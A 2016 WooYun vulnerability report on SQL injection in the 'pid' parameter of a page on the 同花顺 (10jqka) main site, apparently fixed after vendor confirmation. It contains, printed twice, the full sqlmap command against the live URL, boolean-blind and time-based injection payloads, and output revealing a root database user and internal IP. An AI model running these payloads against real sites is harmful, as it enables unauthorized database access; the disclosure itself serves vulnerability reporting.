漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2016-0188371
漏洞标题:同花顺主站存在SQL注入(ROOT权限)
相关厂商:同花顺
漏洞作者: firexp
提交时间:2016-03-24 08:29
修复时间:2016-05-08 09:30
公开时间:2016-05-08 09:30
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2016-03-24: 细节已通知厂商并且等待厂商处理中
2016-03-24: 厂商已经确认,细节仅向厂商公开
2016-04-03: 细节向核心白帽子及相关领域专家公开
2016-04-13: 细节向普通白帽子公开
2016-04-23: 细节向实习白帽子公开
2016-05-08: 细节向公众公开
简要描述:
注入
详细说明:
pid参数存在注入
python sqlmap.py -c sqlmap.conf -u "http://www.10jqka.com.cn/ad_mar/tgt_lwds/index.php?op=post_info&pid=18" --level 2 --dbms=mysql --current-user -p pid
_
___ ___| |_____ ___ ___ {1.0-stable}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:00:57
[23:00:57] [INFO] fetched random HTTP User-Agent header from file 'D:\Tools\sqlmap-1.0\txt\user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5'
[23:00:58] [INFO] testing connection to the target URL
[23:00:58] [INFO] testing if the target URL is stable
[23:00:59] [INFO] target URL is stable
[23:00:59] [WARNING] heuristic (basic) test shows that GET parameter 'pid' might not be injectable
[23:00:59] [INFO] testing for SQL injection on GET parameter 'pid'
[23:00:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:01:01] [INFO] GET parameter 'pid' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="\u6539\u6587\u7ae0\u5c1a\u672a\u901a\u8fc7\u5ba1\u6838")
[23:01:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[23:01:02] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[23:01:02] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[23:01:02] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[23:01:02] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[23:01:02] [INFO] testing 'MySQL inline queries'
[23:01:02] [INFO] testing 'MySQL >= 5.0.12 AND/OR time-based blind (SELECT)'
[23:01:02] [WARNING] time-based comparison requires larger statistical model, please wait........ (done)
[23:01:19] [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s)
[23:01:29] [INFO] GET parameter 'pid' seems to be 'MySQL >= 5.0.12 AND/OR time-based blind (SELECT)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? [Y/n]
[23:01:32] [INFO] checking if the injection point on GET parameter 'pid' is a false positive
GET parameter 'pid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:
---
Parameter: pid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: op=post_info&pid=18' AND 2489=2489 AND 'WFQL'='WFQL
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND/OR time-based blind (SELECT)
Payload: op=post_info&pid=18' XOR (SELECT * FROM (SELECT(SLEEP(5)))pcCt) AND 'RSjT'='RSjT
---
[23:01:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[23:01:37] [INFO] fetching current user
[23:01:37] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[23:01:37] [INFO] retrieved: root@10.0.0.227
current user: 'root@10.0.0.227'
漏洞证明:
pid参数存在注入
python sqlmap.py -c sqlmap.conf -u "http://www.10jqka.com.cn/ad_mar/tgt_lwds/index.php?op=post_info&pid=18" --level 2 --dbms=mysql --current-user -p pid
_
___ ___| |_____ ___ ___ {1.0-stable}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:00:57
[23:00:57] [INFO] fetched random HTTP User-Agent header from file 'D:\Tools\sqlmap-1.0\txt\user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5'
[23:00:58] [INFO] testing connection to the target URL
[23:00:58] [INFO] testing if the target URL is stable
[23:00:59] [INFO] target URL is stable
[23:00:59] [WARNING] heuristic (basic) test shows that GET parameter 'pid' might not be injectable
[23:00:59] [INFO] testing for SQL injection on GET parameter 'pid'
[23:00:59] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:01:01] [INFO] GET parameter 'pid' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="\u6539\u6587\u7ae0\u5c1a\u672a\u901a\u8fc7\u5ba1\u6838")
[23:01:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[23:01:02] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[23:01:02] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[23:01:02] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[23:01:02] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[23:01:02] [INFO] testing 'MySQL inline queries'
[23:01:02] [INFO] testing 'MySQL >= 5.0.12 AND/OR time-based blind (SELECT)'
[23:01:02] [WARNING] time-based comparison requires larger statistical model, please wait........ (done)
[23:01:19] [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s)
[23:01:29] [INFO] GET parameter 'pid' seems to be 'MySQL >= 5.0.12 AND/OR time-based blind (SELECT)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? [Y/n]
[23:01:32] [INFO] checking if the injection point on GET parameter 'pid' is a false positive
GET parameter 'pid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:
---
Parameter: pid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: op=post_info&pid=18' AND 2489=2489 AND 'WFQL'='WFQL
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND/OR time-based blind (SELECT)
Payload: op=post_info&pid=18' XOR (SELECT * FROM (SELECT(SLEEP(5)))pcCt) AND 'RSjT'='RSjT
---
[23:01:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[23:01:37] [INFO] fetching current user
[23:01:37] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[23:01:37] [INFO] retrieved: root@10.0.0.227
current user: 'root@10.0.0.227'
修复方案:
过滤
版权声明:转载请注明来源 firexp@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2016-03-24 09:30
厂商回复:
漏洞已确认,正在进行修复,谢谢提醒。
最新状态:
暂无